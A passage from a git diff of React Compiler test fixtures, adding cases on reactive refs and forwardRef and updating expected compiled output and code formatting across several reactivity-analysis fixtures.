+  const ref2 = useRef(2);
+  const ref = cond ? ref1 : ref2;
+  let t1;
+  if ($[0] !== ref) {
+    t1 = <Child ref={ref} />;
+    $[0] = ref;
+    $[1] = t1;
+  } else {
+    t1 = $[1];
+  }
+  return t1;
+}
+
+function ChildImpl(_props, ref) {
+  const $ = _c(2);
+  let t0;
+  if ($[0] !== ref) {
+    const cb = () => ref.current;
+    t0 = <Stringify cb={cb} shouldInvokeFns={true} />;
+    $[0] = ref;
+    $[1] = t0;
+  } else {
+    t0 = $[1];
+  }
+  return t0;
+}
+
+const Child = forwardRef(ChildImpl);
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Parent,
+  params: [{ cond: true }],
+  sequentialRenders: [{ cond: true }, { cond: false }],
+};
+
+```
+      
+### Eval output
+(kind: ok) <div>{"cb":{"kind":"Function","result":1},"shouldInvokeFns":true}</div>
+<div>{"cb":{"kind":"Function","result":2},"shouldInvokeFns":true}</div>
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactive-ref-param.tsx b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactive-ref-param.tsx
new file mode 100644
index 000000000000..c3eea7a24379
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactive-ref-param.tsx
@@ -0,0 +1,29 @@
+import {useRef, forwardRef} from 'react';
+import {Stringify} from 'shared-runtime';
+
+/**
+ * Fixture showing that Ref types may be reactive.
+ * We should always take a dependency on ref values (the outer box) as
+ * they may be reactive. Pruning should be done in
+ * `pruneNonReactiveDependencies`
+ */
+
+function Parent({cond}) {
+  const ref1 = useRef(1);
+  const ref2 = useRef(2);
+  const ref = cond ? ref1 : ref2;
+  return <Child ref={ref} />;
+}
+
+function ChildImpl(_props, ref) {
+  const cb = () => ref.current;
+  return <Stringify cb={cb} shouldInvokeFns={true} />;
+}
+
+const Child = forwardRef(ChildImpl);
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Parent,
+  params: [{cond: true}],
+  sequentialRenders: [{cond: true}, {cond: false}],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactive-ref.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactive-ref.expect.md
new file mode 100644
index 000000000000..85969ce25ea1
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactive-ref.expect.md
@@ -0,0 +1,71 @@
+
+## Input
+
+```javascript
+import {useRef} from 'react';
+import {Stringify} from 'shared-runtime';
+
+/**
+ * Fixture showing that Ref types may be reactive.
+ * We should always take a dependency on ref values (the outer box) as
+ * they may be reactive. Pruning should be done in
+ * `pruneNonReactiveDependencies`
+ */
+function Component({cond}) {
+  const ref1 = useRef(1);
+  const ref2 = useRef(2);
+  const ref = cond ? ref1 : ref2;
+  const cb = () => ref.current;
+  return <Stringify cb={cb} shouldInvokeFns={true} />;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{cond: true}],
+  sequentialRenders: [{cond: true}, {cond: false}],
+};
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime";
+import { useRef } from "react";
+import { Stringify } from "shared-runtime";
+
+/**
+ * Fixture showing that Ref types may be reactive.
+ * We should always take a dependency on ref values (the outer box) as
+ * they may be reactive. Pruning should be done in
+ * `pruneNonReactiveDependencies`
+ */
+function Component(t0) {
+  const $ = _c(2);
+  const { cond } = t0;
+  const ref1 = useRef(1);
+  const ref2 = useRef(2);
+  const ref = cond ? ref1 : ref2;
+  let t1;
+  if ($[0] !== ref) {
+    const cb = () => ref.current;
+    t1 = <Stringify cb={cb} shouldInvokeFns={true} />;
+    $[0] = ref;
+    $[1] = t1;
+  } else {
+    t1 = $[1];
+  }
+  return t1;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{ cond: true }],
+  sequentialRenders: [{ cond: true }, { cond: false }],
+};
+
+```
+      
+### Eval output
+(kind: ok) <div>{"cb":{"kind":"Function","result":1},"shouldInvokeFns":true}</div>
+<div>{"cb":{"kind":"Function","result":2},"shouldInvokeFns":true}</div>
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactive-ref.tsx b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactive-ref.tsx
new file mode 100644
index 000000000000..db95c5c204a3
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactive-ref.tsx
@@ -0,0 +1,22 @@
+import {useRef} from 'react';
+import {Stringify} from 'shared-runtime';
+
+/**
+ * Fixture showing that Ref types may be reactive.
+ * We should always take a dependency on ref values (the outer box) as
+ * they may be reactive. Pruning should be done in
+ * `pruneNonReactiveDependencies`
+ */
+function Component({cond}) {
+  const ref1 = useRef(1);
+  const ref2 = useRef(2);
+  const ref = cond ? ref1 : ref2;
+  const cb = () => ref.current;
+  return <Stringify cb={cb} shouldInvokeFns={true} />;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{cond: true}],
+  sequentialRenders: [{cond: true}, {cond: false}],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactive-scope-grouping.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactive-scope-grouping.expect.md
index 71cd4e526a2f..6ec29eb86fab 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactive-scope-grouping.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactive-scope-grouping.expect.md
@@ -37,6 +37,7 @@ function foo() {
   } else {
     x = $[0];
   }
+
   return x;
 }
 
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactive-scopes-if.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactive-scopes-if.expect.md
index 716791918959..c9161fb87ade 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactive-scopes-if.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactive-scopes-if.expect.md
@@ -16,8 +16,8 @@ function foo(a, b, c) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: foo,
-  params: ["TodoAdd"],
-  isComponent: "TodoAdd",
+  params: ['TodoAdd'],
+  isComponent: 'TodoAdd',
 };
 
 ```
@@ -60,6 +60,7 @@ function foo(a, b, c) {
   } else {
     x = $[3];
   }
+
   return x;
 }
 
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactive-scopes-if.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactive-scopes-if.js
index b309669e46e0..7e759b47657d 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactive-scopes-if.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactive-scopes-if.js
@@ -12,6 +12,6 @@ function foo(a, b, c) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: foo,
-  params: ["TodoAdd"],
-  isComponent: "TodoAdd",
+  params: ['TodoAdd'],
+  isComponent: 'TodoAdd',
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactive-scopes.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactive-scopes.expect.md
index f38f4c833425..2481270f0481 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactive-scopes.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactive-scopes.expect.md
@@ -15,8 +15,8 @@ function f(a, b) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: f,
-  params: ["TodoAdd"],
-  isComponent: "TodoAdd",
+  params: ['TodoAdd'],
+  isComponent: 'TodoAdd',
 };
 
 ```
@@ -35,7 +35,6 @@ function f(a, b) {
         x.push(b);
       }
     }
-
     t0 = <div>{x}</div>;
     $[0] = a.length;
     $[1] = b;
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactive-scopes.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactive-scopes.js
index 9f6b79a27db2..55af0503d2a6 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactive-scopes.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactive-scopes.js
@@ -11,6 +11,6 @@ function f(a, b) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: f,
-  params: ["TodoAdd"],
-  isComponent: "TodoAdd",
+  params: ['TodoAdd'],
+  isComponent: 'TodoAdd',
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactivity-analysis-interleaved-reactivity.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactivity-analysis-interleaved-reactivity.expect.md
index d11f054a3419..43d96c41970c 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactivity-analysis-interleaved-reactivity.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactivity-analysis-interleaved-reactivity.expect.md
@@ -24,8 +24,8 @@ function Component(props) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: ["TodoAdd"],
-  isComponent: "TodoAdd",
+  params: ['TodoAdd'],
+  isComponent: 'TodoAdd',
 };
 
 ```
@@ -35,34 +35,21 @@ export const FIXTURE_ENTRYPOINT = {
 ```javascript
 import { c as _c } from "react/compiler-runtime";
 function Component(props) {
-  const $ = _c(6);
-  let a;
+  const $ = _c(2);
   let t0;
   if ($[0] !== props.b) {
-    a = {};
+    const a = {};
     const b = [];
     b.push(props.b);
     a.a = null;
-
-    t0 = [a];
+    const c = [a];
+    t0 = [c, a];
     $[0] = props.b;
-    $[1] = a;
-    $[2] = t0;
-  } else {
-    a = $[1];
-    t0 = $[2];
-  }
-  const c = t0;
-  let t1;
-  if ($[3] !== c || $[4] !== a) {
-    t1 = [c, a];
-    $[3] = c;
-    $[4] = a;
-    $[5] = t1;
+    $[1] = t0;
   } else {
-    t1 = $[5];
+    t0 = $[1];
   }
-  return t1;
+  return t0;
 }
 
 export const FIXTURE_ENTRYPOINT = {
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactivity-analysis-interleaved-reactivity.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactivity-analysis-interleaved-reactivity.js
index 11c84a7c4f2b..36052cce428d 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactivity-analysis-interleaved-reactivity.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactivity-analysis-interleaved-reactivity.js
@@ -20,6 +20,6 @@ function Component(props) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: ["TodoAdd"],
-  isComponent: "TodoAdd",
+  params: ['TodoAdd'],
+  isComponent: 'TodoAdd',
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactivity-analysis-reactive-via-mutation-of-computed-load.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactivity-analysis-reactive-via-mutation-of-computed-load.expect.md
index 9c5aec804ecd..5ac29886cf83 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactivity-analysis-reactive-via-mutation-of-computed-load.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactivity-analysis-reactive-via-mutation-of-computed-load.expect.md
@@ -8,7 +8,7 @@ function Component(props) {
 
   const count = foo(items.length + 1);
 
-  return { items, count };
+  return {items, count};
 }
 
 ```
@@ -20,11 +20,11 @@ import { c as _c } from "react/compiler-runtime";
 function Component(props) {
   const $ = _c(8);
   let items;
-  if ($[0] !== props.key || $[1] !== props.a) {
+  if ($[0] !== props.a || $[1] !== props.key) {
     items = bar();
     mutate(items[props.key], props.a);
-    $[0] = props.key;
-    $[1] = props.a;
+    $[0] = props.a;
+    $[1] = props.key;
     $[2] = items;
   } else {
     items = $[2];
@@ -41,10 +41,10 @@ function Component(props) {
   }
   const count = t1;
   let t2;
-  if ($[5] !== items || $[6] !== count) {
+  if ($[5] !== count || $[6] !== items) {
     t2 = { items, count };
-    $[5] = items;
-    $[6] = count;
+    $[5] = count;
+    $[6] = items;
     $[7] = t2;
   } else {
     t2 = $[7];
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactivity-analysis-reactive-via-mutation-of-computed-load.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactivity-analysis-reactive-via-mutation-of-computed-load.js
index 58c4efd9e872..70a2c785a267 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactivity-analysis-reactive-via-mutation-of-computed-load.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactivity-analysis-reactive-via-mutation-of-computed-load.js
@@ -4,5 +4,5 @@ function Component(props) {
 
   const count = foo(items.length + 1);
 
-  return { items, count };
+  return {items, count};
 }
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactivity-analysis-reactive-via-mutation-of-property-load.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactivity-analysis-reactive-via-mutation-of-property-load.expect.md
index abbeb392843d..bb76df4de029 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactivity-analysis-reactive-via-mutation-of-property-load.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactivity-analysis-reactive-via-mutation-of-property-load.expect.md
@@ -8,7 +8,7 @@ function Component(props) {
 
   const count = foo(items.length + 1);
 
-  return { items, count };
+  return {items, count};
 }
 
 ```
@@ -40,10 +40,10 @@ function Component(props) {
   }
   const count = t1;
   let t2;
-  if ($[4] !== items || $[5] !== count) {
+  if ($[4] !== count || $[5] !== items) {
     t2 = { items, count };
-    $[4] = items;
-    $[5] = count;
+    $[4] = count;
+    $[5] = items;
     $[6] = t2;
   } else {
     t2 = $[6];
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactivity-analysis-reactive-via-mutation-of-property-load.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactivity-analysis-reactive-via-mutation-of-property-load.js
index 6fc18f0cfb0d..a93249f9a946 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactivity-analysis-reactive-via-mutation-of-property-load.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactivity-analysis-reactive-via-mutation-of-property-load.js
@@ -4,5 +4,5 @@ function Component(props) {
 
   const count = foo(items.length + 1);
 
-  return { items, count };
+  return {items, count};
 }
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactivity-via-aliased-mutation-array.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactivity-via-aliased-mutation-array.expect.md
index 02352fb2f743..1d58d44ef311 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactivity-via-aliased-mutation-array.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactivity-via-aliased-mutation-array.expect.md
@@ -14,14 +14,14 @@ export const FIXTURE_ENTRYPOINT = {
   fn: Component,
   params: [],
   sequentialRenders: [
-    { input: 42 },
-    { input: 42 },
-    { input: "sathya" },
-    { input: "sathya" },
-    { input: 42 },
-    { input: "sathya" },
-    { input: 42 },
-    { input: "sathya" },
+    {input: 42},
+    {input: 42},
+    {input: 'sathya'},
+    {input: 'sathya'},
+    {input: 42},
+    {input: 'sathya'},
+    {input: 42},
+    {input: 'sathya'},
   ],
 };
 
@@ -43,17 +43,15 @@ function Component(props) {
   } else {
     x = $[1];
   }
-
-  const t0 = x[0];
-  let t1;
-  if ($[2] !== t0) {
-    t1 = [t0];
-    $[2] = t0;
-    $[3] = t1;
+  let t0;
+  if ($[2] !== x[0]) {
+    t0 = [x[0]];
+    $[2] = x[0];
+    $[3] = t0;
   } else {
-    t1 = $[3];
+    t0 = $[3];
   }
-  return t1;
+  return t0;
 }
 
 export const FIXTURE_ENTRYPOINT = {
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactivity-via-aliased-mutation-array.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactivity-via-aliased-mutation-array.js
index 24252844d416..7f6e0b6767b5 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactivity-via-aliased-mutation-array.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactivity-via-aliased-mutation-array.js
@@ -10,13 +10,13 @@ export const FIXTURE_ENTRYPOINT = {
   fn: Component,
   params: [],
   sequentialRenders: [
-    { input: 42 },
-    { input: 42 },
-    { input: "sathya" },
-    { input: "sathya" },
-    { input: 42 },
-    { input: "sathya" },
-    { input: 42 },
-    { input: "sathya" },
+    {input: 42},
+    {input: 42},
+    {input: 'sathya'},
+    {input: 'sathya'},
+    {input: 42},
+    {input: 'sathya'},
+    {input: 42},
+    {input: 'sathya'},
   ],
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactivity-via-aliased-mutation-lambda.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactivity-via-aliased-mutation-lambda.expect.md
index 653e7685d5dc..36d05dda69c2 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactivity-via-aliased-mutation-lambda.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactivity-via-aliased-mutation-lambda.expect.md
@@ -4,7 +4,7 @@
 ```javascript
 function Component(props) {
   const x = [];
-  const f = (arg) => {
+  const f = arg => {
     const y = x;
     y.push(arg);
   };
@@ -17,14 +17,14 @@ export const FIXTURE_ENTRYPOINT = {
   fn: Component,
   params: [],
   sequentialRenders: [
-    { input: 42 },
-    { input: 42 },
-    { input: "sathya" },
-    { input: "sathya" },
-    { input: 42 },
-    { input: "sathya" },
-    { input: 42 },
-    { input: "sathya" },
+    {input: 42},
+    {input: 42},
+    {input: 'sathya'},
+    {input: 'sathya'},
+    {input: 42},
+    {input: 'sathya'},
+    {input: 42},
+    {input: 'sathya'},
   ],
 };
 
@@ -50,17 +50,15 @@ function Component(props) {
   } else {
     x = $[1];
   }
-
-  const t0 = x[0];
-  let t1;
-  if ($[2] !== t0) {
-    t1 = [t0];
-    $[2] = t0;
-    $[3] = t1;
+  let t0;
+  if ($[2] !== x[0]) {
+    t0 = [x[0]];
+    $[2] = x[0];
+    $[3] = t0;
   } else {
-    t1 = $[3];
+    t0 = $[3];
   }
-  return t1;
+  return t0;
 }
 
 export const FIXTURE_ENTRYPOINT = {
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactivity-via-aliased-mutation-lambda.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactivity-via-aliased-mutation-lambda.js
index 071ed029e452..a82fb49882e4 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactivity-via-aliased-mutation-lambda.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactivity-via-aliased-mutation-lambda.js
@@ -1,6 +1,6 @@
 function Component(props) {
   const x = [];
-  const f = (arg) => {
+  const f = arg => {
     const y = x;
     y.push(arg);
   };
@@ -13,13 +13,13 @@ export const FIXTURE_ENTRYPOINT = {
   fn: Component,
   params: [],
   sequentialRenders: [
-    { input: 42 },
-    { input: 42 },
-    { input: "sathya" },
-    { input: "sathya" },
-    { input: 42 },
-    { input: "sathya" },
-    { input: 42 },
-    { input: "sathya" },
+    {input: 42},
+    {input: 42},
+    {input: 'sathya'},
+    {input: 'sathya'},
+    {input: 42},
+    {input: 'sathya'},
+    {input: 42},
+    {input: 'sathya'},
   ],
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactivity-via-aliased-mutation-through-property-load.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactivity-via-aliased-mutation-through-property-load.expect.md
index 3a089b8177bf..a15924d99378 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactivity-via-aliased-mutation-through-property-load.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactivity-via-aliased-mutation-through-property-load.expect.md
@@ -20,14 +20,14 @@ export const FIXTURE_ENTRYPOINT = {
   fn: Component,
   params: [],
   sequentialRenders: [
-    { input: true },
-    { input: true },
-    { input: false },
-    { input: false },
-    { input: true },
-    { input: false },
-    { input: true },
-    { input: false },
+    {input: true},
+    {input: true},
+    {input: false},
+    {input: false},
+    {input: true},
+    {input: false},
+    {input: true},
+    {input: false},
   ],
 };
 
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactivity-via-aliased-mutation-through-property-load.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactivity-via-aliased-mutation-through-property-load.js
index a691e135fab6..3613f8bbab9b 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactivity-via-aliased-mutation-through-property-load.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactivity-via-aliased-mutation-through-property-load.js
@@ -16,13 +16,13 @@ export const FIXTURE_ENTRYPOINT = {
   fn: Component,
   params: [],
   sequentialRenders: [
-    { input: true },
-    { input: true },
-    { input: false },
-    { input: false },
-    { input: true },
-    { input: false },
-    { input: true },
-    { input: false },
+    {input: true},
+    {input: true},
+    {input: false},
+    {input: false},
+    {input: true},
+    {input: false},
+    {input: true},
+    {input: false},
   ],
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactivity-via-readonly-alias-of-mutable-value.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactivity-via-readonly-alias-of-mutable-value.expect.md
index 579d7d206bb8..ea084e04db32 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactivity-via-readonly-alias-of-mutable-value.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactivity-via-readonly-alias-of-mutable-value.expect.md
@@ -29,14 +29,14 @@ export const FIXTURE_ENTRYPOINT = {
   fn: Component,
   params: [],
   sequentialRenders: [
-    { input: 42 },
-    { input: 42 },
-    { input: "sathya" },
-    { input: "sathya" },
-    { input: 42 },
-    { input: "sathya" },
-    { input: 42 },
-    { input: "sathya" },
+    {input: 42},
+    {input: 42},
+    {input: 'sathya'},
+    {input: 'sathya'},
+    {input: 42},
+    {input: 'sathya'},
+    {input: 42},
+    {input: 'sathya'},
   ],
 };
 
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactivity-via-readonly-alias-of-mutable-value.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactivity-via-readonly-alias-of-mutable-value.js
index c4165938b6cd..83ab1d8536e9 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactivity-via-readonly-alias-of-mutable-value.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactivity-via-readonly-alias-of-mutable-value.js
@@ -25,13 +25,13 @@ export const FIXTURE_ENTRYPOINT = {
   fn: Component,
   params: [],
   sequentialRenders: [
-    { input: 42 },
-    { input: 42 },
-    { input: "sathya" },
-    { input: "sathya" },
-    { input: 42 },
-    { input: "sathya" },
-    { input: 42 },
-    { input: "sathya" },
+    {input: 42},
+    {input: 42},
+    {input: 'sathya'},
+    {input: 'sathya'},
+    {input: 42},
+    {input: 'sathya'},
+    {input: 42},
+    {input: 'sathya'},
   ],
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/readonly-object-method-calls-mutable-lambda.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/readonly-object-method-calls-mutable-lambda.expect.md
index 9a9314db7a3c..3abd8cac949c 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/readonly-object-method-calls-mutable-lambda.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/readonly-object-method-calls-mutable-lambda.expect.md
@@ -2,13 +2,19 @@
 ## Input
 
 ```javascript
+import {useFragment} from 'shared-runtime';
+
 function Component(props) {
   const x = makeObject();
   const user = useFragment(
-    graphql`fragment Component_user on User { ... }`,
+    graphql`
+      fragment Component_user on User {
+        name
+      }
+    `,
     props.user
   );
-  const posts = user.timeline.posts.edges.nodes.map((node) => {
+  const posts = user.timeline.posts.edges.nodes.map(node => {
     x.y = true;
     return <Post post={node} />;
   });
@@ -24,11 +30,17 @@ function Component(props) {
 
 ```javascript
 import { c as _c } from "react/compiler-runtime";
+import { useFragment } from "shared-runtime";
+
 function Component(props) {
   const $ = _c(3);
   const x = makeObject();
   const user = useFragment(
-    graphql`fragment Component_user on User { ... }`,
+    graphql`
+      fragment Component_user on User {
+        name
+      }
+    `,
     props.user,
   );
   const posts = user.timeline.posts.edges.nodes.map((node) => {
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/readonly-object-method-calls-mutable-lambda.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/readonly-object-method-calls-mutable-lambda.js
index 29e9ebacf2ef..2658a048939d 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/readonly-object-method-calls-mutable-lambda.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/readonly-object-method-calls-mutable-lambda.js
@@ -1,10 +1,16 @@
+import {useFragment} from 'shared-runtime';
+
 function Component(props) {
   const x = makeObject();
   const user = useFragment(
-    graphql`fragment Component_user on User { ... }`,
+    graphql`
+      fragment Component_user on User {
+        name
+      }
+    `,
     props.user
   );
-  const posts = user.timeline.posts.edges.nodes.map((node) => {
+  const posts = user.timeline.posts.edges.nodes.map(node => {
     x.y = true;
     return <Post post={node} />;
   });
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/readonly-object-method-calls.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/readonly-object-method-calls.expect.md
index 3418d008c3c5..05ab1c533b9b 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/readonly-object-method-calls.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/readonly-object-method-calls.expect.md
@@ -2,12 +2,18 @@
 ## Input
 
 ```javascript
+import {useFragment} from 'shared-runtime';
+
 function Component(props) {
   const user = useFragment(
-    graphql`fragment Component_user on User { ... }`,
+    graphql`
+      fragment Component_user on User {
+        name
+      }
+    `,
     props.user
   );
-  const posts = user.timeline.posts.edges.nodes.map((node) => (
+  const posts = user.timeline.posts.edges.nodes.map(node => (
     <Post post={node} />
   ));
   posts.push({});
@@ -22,15 +28,21 @@ function Component(props) {
 
 ```javascript
 import { c as _c } from "react/compiler-runtime";
+import { useFragment } from "shared-runtime";
+
 function Component(props) {
   const $ = _c(5);
   const user = useFragment(
-    graphql`fragment Component_user on User { ... }`,
+    graphql`
+      fragment Component_user on User {
+        name
+      }
+    `,
     props.user,
   );
   let posts;
   if ($[0] !== user.timeline.posts.edges.nodes) {
-    posts = user.timeline.posts.edges.nodes.map((node) => <Post post={node} />);
+    posts = user.timeline.posts.edges.nodes.map(_temp);
     let t0;
     if ($[2] === Symbol.for("react.memo_cache_sentinel")) {
       t0 = {};
@@ -56,6 +68,9 @@ function Component(props) {
   }
   return t0;
 }
+function _temp(node) {
+  return <Post post={node} />;
+}
 
 ```
       
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/readonly-object-method-calls.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/readonly-object-method-calls.js
index 0fc0a977d098..bb1e52dc7645 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/readonly-object-method-calls.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/readonly-object-method-calls.js
@@ -1,9 +1,15 @@
+import {useFragment} from 'shared-runtime';
+
 function Component(props) {
   const user = useFragment(
-    graphql`fragment Component_user on User { ... }`,
+    graphql`
+      fragment Component_user on User {
+        name
+      }
+    `,
     props.user
   );
-  const posts = user.timeline.posts.edges.nodes.map((node) => (
+  const posts = user.timeline.posts.edges.nodes.map(node => (
     <Post post={node} />
   ));
   posts.push({});
